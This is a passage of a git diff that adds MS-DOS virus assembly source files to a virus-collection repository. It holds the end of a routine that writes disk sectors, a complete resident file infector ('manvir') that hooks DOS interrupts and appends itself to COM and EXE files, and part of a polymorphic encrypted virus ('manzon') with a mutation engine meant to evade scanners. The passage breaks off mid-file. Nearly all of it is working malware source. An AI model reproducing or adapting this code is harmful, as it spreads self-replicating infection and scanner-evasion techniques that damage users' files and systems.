inc dh + cmp dh,ds:data_0007e + jb loc_0011 ; Jump if below + xor dh,dh ; Zero register + inc ch + jmp short loc_0011 +loc_0014: + mov cx,7 + mov ds:data_0008e,cx + mov ax,301h + mov dx,80h + int 13h ; Disk dl=drive 0 ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jc loc_0009 ; Jump if carry Set + mov si,data_0014e + mov di,data_0017e + mov cx,21h + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + mov ax,301h + xor bx,bx ; Zero register + inc cl + int 13h ; Disk dl=drive 0 ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jmp short loc_0009 + db 16 dup (0) + db 0Ah, 'Replace and press any key w' + db 'hen ready', 0Dh, 0Ah, 0 + db 'IO SYSMSDOS SYS' + db 00h, 00h, 55h,0AAh + +mang endp + +seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.manvir.asm b/MSDOS/Virus.MSDOS.Unknown.manvir.asm new file mode 100644 index 00000000..7f1ab0c8 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.manvir.asm @@ -0,0 +1,529 @@ + +PAGE 59,132 + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ PROB ŪŪ +;ŪŪ ŪŪ +;ŪŪ Created: 1-Jan-80 ŪŪ +;ŪŪ Version: ŪŪ +;ŪŪ Passes: 5 Analysis Options on: ABCDEFPX ŪŪ +;ŪŪ ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +data_1e equ 0 ; (6B7E:0000=0) +data_2e equ 2 ; (6B7E:0002=0) +data_4e equ 0F1h ; (6B7E:00F1=0) +data_17e equ 499h ; (6C11:0499=0) +data_18e equ 49Bh ; (6C11:049B=0) +data_19e equ 49Dh ; (6C11:049D=0) +data_20e equ 49Fh ; (6C11:049F=0) +data_21e equ 4B8h ; (6C11:04B8=0) + +;-------------------------------------------------------------- seg_a ---- + +seg_a segment para public + assume cs:seg_a , ds:seg_a , ss:stack_seg_c + + db 256 dup (0) + db 8Ch, 0C8h, 8Eh, 0D8h, 0BAh, 10h + db 1, 0B4h, 9, 0CDh, 21h, 0B8h + db 0, 4Ch, 0CDh + db '!This is a test', 0Ah, 0Dh, '$' + db 1807 dup (0) + +seg_a ends + + + +;-------------------------------------------------------------- seg_b ---- + +seg_b segment para public + assume cs:seg_b , ds:seg_b , ss:stack_seg_c + + db 241 dup (0) + db 4Fh, 4Dh + db 9 dup (20h) + db 0, 0, 0, 0 + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +; +; Program Entry Point +; +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + + +prob proc far + +start: + jmp short loc_3 ; (0137) +data_10 dw 5A4Dh + db 21h, 1, 6, 0, 0, 0 + db 20h, 0, 0, 0, 0FFh, 0FFh +data_11 dw 0 +data_12 dw 0 + db 0BBh, 0DDh +data_13 dd 00100h + db 'COMMAND.COM' + db 0 + +prob endp + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_1 proc near ; °®¢„°æ¢  ¤ «Ø „ EXE + cmp cs:data_10,4D5Ah ; (6C11:0102=5A4Dh) + je loc_ret_2 ; Jump if equal + cmp cs:data_10,5A4Dh ; (6C11:0102=5A4Dh) + +loc_ret_2: + retn +sub_1 endp + +loc_3: + mov cs:data_19e,ds ; (6C11:049D=0) + push ax + mov ax,0EC59h ; °®¢„°æ¢  ¤ «Ø „ Ø­±² «Ø° ­ + int 21h ; DOS Services ah=function ECh + cmp bp,ax ; €Ŗ® AX<>BP ­„ „ Ø­±² «Ø° ­ + jne loc_6 + push cs + pop ds +loc_4: + pop ax + mov es,cs:data_19e ; (6C11:049D=0) + call sub_1 ; (COM/EXE)? + jz loc_5 ; Jump if zero + mov cx,0Dh ; ‚ŗ§±² ­®¢æ¢  COM + mov si,102h + push es + mov di,100h + push di ; °„¬„±²¢  Æŗ°¢Ø²„ 13 ” ©²  + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + push es + pop ds ; °„µ®¤ Ŗŗ¬ ư®£° ¬ ²  + retf ; Return far +loc_5: + mov si,es ; ‚ŗ§±² ­®¢æ¢  EXE + add si,10h + add word ptr cs:data_13+2,si; ’®¢  „ ®²¬„±²¢ ­„²® ­  CS + add si,cs:data_11 ; ’®¢  „ ®²¬„±²¢ ­„²® ­  SS + mov di,cs:data_12 ; ’®¢  „ ®²¬„±²¢ ­„²® ­  SP + push es + pop ds + cli ; Disable interrupts + mov ss,si + mov sp,di + sti ; Enable interrupts + jmp cs:data_13 ; °„µ®¤ Ŗŗ¬ ư®£° ¬ ²  +loc_6: + mov ax,3521h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov dx,bx + push es + pop ds + mov ax,25ECh ; °„¬„±²¢  INT 21H ­  INT ECH + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,cs:data_19e ; (6C11:049D=0) + mov es,ax + dec ax + mov ds,ax + mov bx,word ptr ds:data_2e+1 ; (6B7E:0003=0) + sub bx,65h + add ax,bx + mov es:data_2e,ax ; (6B7E:0002=0) + mov ah,4Ah ; 'J' + int 0ECh + mov bx,64h + mov ah,48h ; 'H' + int 0ECh + sub ax,10h + mov es,ax + mov byte ptr ds:data_1e,5Ah ; (6B7E:0000=0) 'Z' + push cs + pop ds + mov si,100h + mov di,si + mov cx,39Fh + nop ; °„¬„±²¢  ±„ ¢ŗ¢ ¢Ø±®ŖØ²„  ¤°„±Ø + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov di,1D0h + push es + push di + retf ; Return far + mov word ptr es:data_4e,70h ; (6B7E:00F1=0) + mov ax,3521h ;(??) ’ §Ø Ø­±²°³Ŗ¶Øæ ¬®¦„ ¤  ±„ ®Æ²Ø¬Ø§Ø°  + int 0ECh + mov cs:data_15,bx ; (6C11:0216=12E4h) + mov cs:data_16,es ; (6C11:0218=12Eh) + mov ah,25h ; '%' + mov dx,201h + push cs + pop ds + int 0ECh ; °„µ¢ ¹  ¢„Ŗ²®°  ­  INT 21H + push cs + pop es + mov di,49Fh + mov cx,19h + mov al,0 ; ³«Ø°  19h ” ©²  ±«„¤ Ŗ° æ + rep stosb ; Rep when cx >0 Store al to es:[di] + jmp loc_4 ; ‚ŗ§±² ­®¢æ¢  ư®£° ¬ ²  +loc_7: + mov bp,ax ; ’®¢  „ “³­Ŗ¶Øæ ECH + iret ; Interrupt return + cmp ax,0EC59h ; ‚•Ž„€ ’Ž—Š€ € INT 21H + je loc_7 ; Jump if equal + cmp ax,4B00h + je loc_9 ; Jump if equal + cmp ah,3Dh ; '=' + je loc_11 ; Jump if equal + cmp ah,3Eh ; '>' + je loc_13 ; Jump if equal +loc_8: + jmp far ptr loc_1 ;*(012E:12E4) +loc_9: + call sub_2 ; (028B) + jmp short loc_8 ; (0215) +loc_10: + pop cx + jmp short loc_8 ; (0215) +loc_11: + push cx + call sub_6 ; (040E) + jc loc_10 ; Jump if carry Set + cmp cx,20h + pop cx + jnz loc_8 ; Jump if not zero + mov al,2 + pushf ; Push flags + call dword ptr cs:[216h] ; (6C11:0216=12E4h) + jc loc_ret_12 ; Jump if carry Set + push ax + push bx + mov bx,ax + mov al,cs:data_21e ; (6C11:04B8=0) + mov cs:data_20e[bx],al ; (6C11:049F=0) + pop bx + pop ax + +loc_ret_12: + retf 2 ; Return far +loc_13: + cmp byte ptr cs:data_20e[bx],0 ; (6C11:049F=0) + je loc_8 ; Jump if equal + push ax + mov al,cs:data_20e[bx] ; (6C11:049F=0) + mov cs:data_21e,al ; (6C11:04B8=0) + mov byte ptr cs:data_20e[bx],0 ; (6C11:049F=0) + mov ah,45h ; 'E' + int 0ECh + mov cs:data_19e,ax ; (6C11:049D=0) + pop ax + jc loc_8 ; Jump if carry Set + pushf ; Push flags + call dword ptr cs:[216h] ; (6C11:0216=12E4h) + jc loc_ret_12 ; Jump if carry Set + push bx + mov bx,cs:data_19e ; (6C11:049D=0) + push ds + call sub_3 ; (02BB) + call sub_4 ; (02DC) + call sub_5 ; (03FA) + pop ds + pop bx + clc ; Clear carry flag + retf 2 ; Return far + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_2 proc near + push ax + push bx + push cx + call sub_6 ; (040E) + jc loc_16 ; €Ŗ® ­„ „ Ø§Æŗ«­Ø¬ اµ®¤ + push cx + push ds + call sub_3 ; °„­ ±®·¢  INT 24H + pop ds + mov ax,4301h + xor cx,cx ; Zero register + int 0ECh ; °®¬„­æ  ²°Ø”³²Ø²„ + jc loc_14 ; Jump if carry Set + mov ax,3D02h ; ޲¢ °æ £® §  ·„²„­„ + int 0ECh + mov bx,ax +loc_14: + pop cx + jc loc_15 ; €Ŗ® ج  £°„øŖ  اµ®¤ + call sub_4 ; (02DC) + mov ax,4301h + int 0ECh +loc_15: + call sub_5 ; (03FA) +loc_16: + pop cx + pop bx + pop ax + retn +sub_2 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_3 proc near ; °„­ ±®·¢  INT 24H + push ax + push dx + push bx + push es + mov ax,3524h + int 0ECh + mov cs:data_17e,bx ; (6C11:0499=0) + mov cs:data_18e,es ; (6C11:049B=0) + pop es + pop bx + push cs + pop ds + mov dx,469h + mov ah,25h + int 0ECh ; °„­ ±®·¢  INT 24H + pop dx + pop ax + retn +sub_3 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_4 proc near + push ax + push cx + push dx + push si + push di + push ds + mov di,102h + mov cx,0FFFFh + mov dx,0FFFAh + mov ax,4202h + int 0ECh ; °„¬„±²¢  ³Ŗ § ²„«æ ¢ Ŗ° æ + mov ah,3Fh ; '?' + mov cx,6 + push cs + pop ds + mov dx,di + int 0ECh ; —„²„ 6 ” ©²  + jc loc_17 ; Jump if carry Set + cmp word ptr cs:[di],4E41h ; °®¢„°æ¢  ¤ «Ø „ § ° §„­ + je loc_17 ; Jump if equal + xor cx,cx + xor dx,dx + mov ax,4200h + int 0ECh ; °„¬„±²¢  FP ¢ ­ · «®²® + mov ah,3Fh ; ®¬„±²„¢  Æŗ°¢Ø²„ 18h ” ©²  + mov cx,18h ; ®² CS:100 + mov dx,di + int 0ECh ; —„²„ Æŗ°¢Ø²„ 18h ” ©²  + jnc loc_18 ; Jump if carry=0 +loc_17: + jmp loc_27 ; (03E6) +loc_18: + xor cx,cx ; Zero register + xor dx,dx ; Zero register + cmp byte ptr cs:data_21e,2 ; (6C11:04B8=0) + jne loc_19 ; Jump if not equal + cmp word ptr [di+1],4000h + ja loc_17 ; Jump if above + dec cx + mov dx,0C0h + sub dx,499h +loc_19: + mov ax,4202h ; °„¬„±²¢  FP ¢ Ŗ° æ ­  “ Ø«  +loc_20: + int 0ECh + test ax,0Fh + jz loc_21 ; Jump if zero + mov cx,dx ; ‡ Ŗ°ŗ£«æ ¤® 16 + mov dx,ax + add dx,10h + adc cx,0 + and dl,0F0h + mov ax,4200h ; °„¬„±²¢  ­  § Ŗ°ŗ£«„­Øæ + jmp short loc_20 ; (0339) +loc_21: + call sub_1 ; (0126) + jz loc_23 ; ” Ø«ŗ² „ EXE + or dx,dx ; Zero ? + jnz loc_17 ; Jump if not zero + cmp ax,400h + jae loc_22 ; Jump if above or = + jmp loc_27 ; (03E6) +loc_22: + cmp ax,0FA00h + ja loc_27 ; Jump if above +loc_23: + mov cl,4 + shr ax,cl ; Shift w/zeros fill + mov si,ax + mov cl,0Ch + shl dx,cl ; Shift w/zeros fill + add si,dx ; ®«³· ¢  ¤ŗ«¦Ø­ ²  ¢ Æ ° £° “Ø + mov ah,40h ; ‡ ÆØ±¢  399h ” ©²  + mov dx,100h + mov cx,399h + nop + int 0ECh + jc loc_27 ; Jump if carry Set + call sub_1 + jnz loc_25 ; Jump if not zero + sub si,10h + sub si,cs:[di+8] ; Š®°Ø£Ø°  ư„“ØŖ±  + mov word ptr cs:[di+14h],100h + mov cs:[di+16h],si + mov word ptr cs:[di+10h],400h + add si,44h + nop + mov cs:[di+0Eh],si + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 0ECh ; ‚§„¬  ¤ŗ«¦Ø­ ²  + mov cx,200h + div cx ; ax,dx rem=dx:ax/reg + or dx,dx ; Zero ? + jz loc_24 ; Jump if zero + inc ax +loc_24: + mov cs:[di+2],dx ;°®¬„­æ ¤ŗ«¦Ø­ ²  ¢ ư„“ØŖ±  + mov cs:[di+4],ax + jmp short loc_26 ; (03D4) +loc_25: + push si + push di + push es + push cs + pop es + mov si,46Ch + mov cx,0Bh + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop es + pop di + pop word ptr [di+0Bh] +loc_26: + mov ax,4200h ; °„¬„±²¢  FP ¢ ­ · «®²® + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 0ECh + mov ah,40h ; ‡ ÆØ±¢  Æŗ°¢Ø²„ 16h ” ©²  + mov cx,18h + mov dx,di + int 0ECh +loc_27: ; ‚§„¬  ¤ ² ²  ¬³ Ø æ § ÆØ±¢  + mov ax,5700h + int 0ECh + mov al,1 + int 0ECh + mov ah,3Eh ; ‡ ²¢ °æ “ Ø«  + int 0ECh + pop ds + pop di + pop si + pop dx + pop cx + pop ax + retn +sub_4 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_5 proc near ; ‚ŗ§±² ­®¢æ¢  INT 24H + push ax + push dx + push ds + mov ax,2524h + mov dx,cs:data_17e ; (6C11:0499=0) + mov ds,cs:data_18e ; (6C11:049B=0) + pop ds + pop dx + pop ax + retn +sub_5 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_6 proc near ; ‡ Æ §¢  °„£Ø±²°Ø²„ + push ax + push es + push di + push bx + mov di,dx + push ds + pop es + mov al,0 + mov cx,40h ; ’ŗ°±Ø Ŗ° æ² ­  ج„²® ­  “ Ø«  + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + mov ax,[di-3] + mov cx,[di-5] + and ax,5F5Fh + and ch,5Fh + cmp ax,4D4Fh ;(COM)? + jne loc_29 + cmp cx,432Eh + je $+10h ; Jump if equal +loc_28: + stc ; Set carry flag + jmp short $+2Fh +loc_29: + cmp ax,4558h + jne loc_28 ; Jump if not equal + cmp cx,452Eh +sub_6 endp + + +seg_b ends + + + +;--------------------------------------------------------- stack_seg_c --- + +stack_seg_c segment para stack + + db 75h, 0F2h, 0B9h, 7, 0, 0BBh + db 0FFh, 0FFh, 43h, 8Ah, 41h, 0F4h + db 24h, 5Fh, 2Eh, 3Ah, 87h, 1Ah + db 1, 0E1h, 0F3h, 0B0h, 1, 75h + db 2, 0B0h, 2, 2Eh, 0A2h, 0B8h + db 4, 0B8h, 0, 43h, 0CDh, 0ECh + db 5Bh, 5Fh, 7, 58h, 0C3h, 0B0h + db 3, 0CFh, 50h, 8Ch, 0C8h, 1 + db 6, 0Bh, 1, 58h, 0EAh, 0 + db 1 + db ' Dark Lord, I summon thee!' + db 0 + db 4Dh, 41h, 4Eh, 4Fh, 57h, 41h + db 52h + db 935 dup (0) + +stack_seg_c ends + + + + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.manzon.asm b/MSDOS/Virus.MSDOS.Unknown.manzon.asm new file mode 100644 index 00000000..cc3f9ecb --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.manzon.asm @@ -0,0 +1,883 @@ + .model tiny + .code + .386 + +code_size equ code_end-code_start +filecodelength equ filecodeend-code_start + org 100h + +code_start: +start: + call StartDecryptSimple + +SimpleCryptStart: + + call InstallVirus ; Call Install routine + + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Following code randomly creates an encryptor and a matching :+ +;+ decryptor. :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +WriteVirus: + push bx ; Save filehandle + in ax,40h ; Get random + +;+:+:+:+:+:+:+Create random values to use in instructions+:+:+:+:+:+:+: + + mov si,offset Rand1a ; First random in decryptor OP-codes + mov di,offset Rand1b ; First random in encryptor OP-codes + mov cx,5 ; 7*2 OP-codes to change +SetRandom: + mov [si],al + mov [di],al + add si,4 ; Next OP-code + add di,4 ; -----"----- + xor ax, 'P'-'O'-'O'-'R' ; Generate... + rol ax,5 ; ..new... + xor ax,'R'-'E'-'B'-'O'-'U'-'N'-'D' ; random + loop SetRandom + +;+:+:+:+:+:+: Copy instructions from ENCode and DECode :+:+:+:+:+:+:+: + +CreateCode: + push cs + pop es + mov cx,13 ;Counter, max 13 sequences + mov di,offset CCode1 + mov si,offset DECode + mov word ptr ds:[CLength],0h ;Length of decryptor +CreateLoop: + mov si,offset DECode + in ax,40h ; Get random + ror ax,cl + xor ax,'I'-'M'-'M'-'O'-'R'-'T'-'A'-'L' + sub ax, 'R'-'I'-'O'-'T' + push ax ;Save for later use + mov bl,al + and bl,15 ;Mask only 0-15 + shl bl,2 ;mul 4 to get right offset + xor bh,bh + add si,bx ;Get right OP-code + movsd ;move one inst (4 bytes) + + std ;count backwards + push cx + push di ;Move code in CCode one inst + push si ;forward, so next inst could + mov si,offset CCode2+13*4 ;be first. + mov di,offset CCode2+14*4 + mov cx,14 + rep movsd + pop si + mov di,offset CCode2 + cld + + cmp bl,29 ;Should we use alt. encrypt? + jnb short Garbage ;No, just garbage-instructions + + add si,ENCode-DECode-4 ;Get right pos in ENCode + movsd ;move one inst (4 bytes) + sub si,ENCode-DECode ;Back to old pos in DECode + jmp short NoGarbage +Garbage: + sub si,4 ;Same instructions again + movsd +NoGarbage: + pop di + pop cx + add word ptr ds:[CLength],4 ;Add length of decryptor + pop ax ;Get random value again + and ax,128+64 ;Leave de/encryptor like this? + jz short QuitLoop + loop CreateLoop +QuitLoop: + +;+:+:+: Build the first instruction in decryptor (mov cx,??) :+:+:+:+: + + xor ax,ax + in al,40h ; Another random + xor al,'A' + and al,7 ;Random between 0 and 7 + mov byte ptr ds:[InitCX1],0b9h ;OP-Code for mov cx,? + mov bx,filecodelength + add bx,ax + mov word ptr ds:[InitCX1+1],bx ;Value to put in CX (counter) + +;+:+:+: Build to second instruction (mov si, offset codestart) :+:+:+:+: + + mov byte ptr ds:[InitSI1],0beh ;OP-Code for mov si,? + mov ax,[entry_p] ;EntryPoint + add ax,word ptr ds:[CLength] ;Length of cryptlines + add ax,15 ;size of rest of loop + add ax,[IPOffs] ;Then add 100h +NoCom: mov word ptr ds:[InitSI1+1],ax ;Value to put in CX (counter) + +;+:+:+: Build the instruction that increase SI :+:+:+:+: + + and bl,2 ; Get random for inc si + shl bl,2 ; mul 4 + mov bh,0 + mov si,offset DEcSI + add si,bx ; Get pos in ADD-SI-alts. + movsd + +;+:+:+: Build the loop-instruction :+:+:+:+: + + mov ah,0ffh + sub ah,[CLength] ; Calculate loop operand + sub ah,5 + mov al,0e2h ; OP-code for loop + mov [di],ax ; Write loop command + +;+:+:+: Write RET at end of encryptionroutine :+:+:+:+: + + mov di,offset CCode2 ; Encryptionroutine + add di,word ptr ds:[Clength] ; Find end of ER + mov byte ptr ds:[di],0c3h ; Write a RET + +;+:+:+: Write created loader to file :+:+:+:+: + + pop bx ; Get filehandle + mov ah,40h ; Function WRITE + mov cx,word ptr ds:[CLength] + add cx,12 + mov dx,offset InitCX1 + int 21h ; Write decryptor to file + mov word ptr ds:[File_H],bx + +;+:+:+:+: Cahnge decryptor so code could use it (put ret instead of inc) + + mov di,offset CCode1 ; Encryptionroutine + add di,word ptr ds:[Clength] ; Find end of ER + mov byte ptr ds:[di],0c3h ; Write a RET + +;+:+:+:+: Copy enc&dec-call-routine to end of virus :+:+:+:+: + + mov si,offset ED_start ; Start of ED-routine + mov di,offset ED_buf ; buffer beyond virus + mov cx,ED_End-ED_start ; Size of ED-routine + rep movsb + call filecodeend ; Call copy + + ret + +;------ Routine to Encrypt virus, write virus, and decrypt virus + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Following code will be copied to memory beyond the virus, :+ +;+ and then called. The routine then calls the created :+ +;+ encryptor, writing the encrypted virus the the file and :+ +;+ then uses the modified decrytor to decrypt the virus again. :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +ED_start: + +;+:+:+: Create RandomValue for simple enc/decryptor +:+:+:+ + + in al,40h + mov byte ptr cs:[DSRan],al + +;+:+:+: Encrypt virus, using simple encryptor :+:+:+:+ + + mov ax,offset EncryptDecryptSimple + call ax + +;+:+:+: Encrypt virus, using created encryptor :+:+:+:+ + + mov si,0100h ; Start of viruscode + mov cx,filecodelength +encloop: + mov ax,offset CCode2 ; offset to created enc-routine + call ax ; call it + inc si + loop encloop ; Encrypt whole virus + +;+:+:+: Write encrypted virus to file :+:+:+:+ + + mov bx,word ptr ds:[File_H] ; Get filehandle + mov ah,40h ; Function WRITE + mov cx,filecodelength + mov dx,0100h + pushf + push cs ; Fake interrupt call + call DoOldInt + +;+:+:+: Decrypt virus, using created encryptor :+:+:+:+ + + mov si,0100h ; Start of viruscode + mov cx,filecodelength +decloop: + mov ax,offset CCode1 + call ax ; Call builded encryptroutine + inc si + loop decloop + +;+:+:+: Decrypt virus, using simple decryptor :+:+:+:+ + + mov ax,offset EncryptDecryptSimple + call ax + +;+:+:+: Write random number of extra bytes to file (0-15) :+:+:+:+ + + mov bx,word ptr ds:[File_H] ; Get filehandle + in ax,40h ; Get random in al + mov ds,ax ; Read from random segment + and ax,0fh ; mask bit 0-3 + mov cx,ax ; No. bytes to write + mov ah,40h + add word ptr cs:[CLength],cx ; add length (must know this + xor dx,dx ; when creating EXE-header). + pushf + push cs ; Fake interrupt call + call DoOldInt + + push cs ; Push back codeseg in DS + pop ds + + ret + +DoOldInt: + sti + db 0eah +OldInt dd 0 + +ED_End: + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Following table contains 16 different 4-byte codesqeunces, :+ +;+ randomly used by the decryptionroutine. The first 8 affects :+ +;+ the decryption algoritm, and has a matching 4-byte inst- :+ +;+ ruction in the ENCode-table. The rest is just garbage- :+ +;+ instructions, used to make scanning harder. The morpher :+ +;+ will pick a random number (1-16) of these instructions, :+ +;+ and build the decryption routine. :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +DECode db 02eh,080h,004h ; add byte ptr cs:[si],? +Rand1a db ? + db 02eh,080h,02ch ; sub byte ptr cs:[si],? +Rand2a db ? + db 02eh,080h,034h ; xor byte ptr cs:[si],? +Rand3a db ? + db 02eh,0C0h,004h ; rol byte ptr cs:[si],? +Rand4a db ? + db 02eh,0C0h,00Ch ; ror byte ptr cs:[si],? +Rand5a db ? + db 02eh,0feh,00ch,090h ; dec byte ptr cs:[si]; nop + db 02eh,0feh,004h,090h ; inc byte ptr cs:[si]; nop + db 02eh,0f6h,01ch,090h ; neg byte ptr cs:[si]; nop +;-------The rest is just bullshit, used to confuse scanners + db 053h,08bh,0dch,05bh ; push bx; mov bx,sp; pop bx + db 093h,043h,090h,043h ; xchg bx,ax; inc bx; nop; inc bx + db 040h,08ah,0c4h,048h ; inc ax; mov al,ah; dec ax + db 08ch,0c8h,056h,05fh ; mov ax,cs; push si; pop di; + db 074h,000h,075h,000h ; je $+2; jne $+2; + db 08Bh,0c3h,02bh,0d8h ; mov ax,bx; sub ax,bx + db 003h,0feh,02ch,002h ; add di,si; sub al,2 + db 0ebh,001h,0b4h,090h ; jmp $+3; mov ah,90h (b4h + nop) + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Following table contains the encryptionversions of the :+ +;+ first 8 instructions in the DECode-table. :+ +;+ SUB will be ADD, ROR will be ROL etc. :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +ENCode db 02eh,080h,02ch ; sub byte ptr cs:[si],? +Rand1b db ? + db 02eh,080h,004h ; add byte ptr cs:[si],? +Rand2b db ? + db 02eh,080h,034h ; xor byte ptr cs:[si],? +Rand3b db ? + db 02eh,0C0h,00Ch ; ror byte ptr cs:[si],? +Rand4b db ? + db 02eh,0C0h,004h ; rol byte ptr cs:[si],? +Rand5b db ? + db 02eh,0feh,004h,090h ; inc byte ptr cs:[si]; nop + db 02eh,0feh,00ch,090h ; dec byte ptr cs:[si]; nop + db 02eh,0f6h,01ch,090h ; neg byte ptr cs:[si]; nop + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Following table contains four different ways to increase :+ +;+ SI. Used only in the DECode-routine (CCode1). :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +DEcSI db 083h,0c6h,001h,090h ; add si,1; nop + db 046h,033h,0dbh,0f8h ; inc si; xor bx,bx; clc + db 04eh,046h,046h,0f9h ; dec si; inc si; sinc si; stc + db 083h,0c6h,002h,04eh ; add si,2; dec si + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Other data :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +CLength db ? ; Length of decryptor + db ? +ComExe db 0 ; 0=Com, 1=Exe +buffer db 0c3h ; Buffer contains original 3 bytes of +orgep dw 0 ; COM-file. 03ch (RET) will exit program + ; in normal DOS. Used only first time. +buffer2 db 0e9h ; JMP OP-code, used to build COM-jump +entry_p dw 0 ; 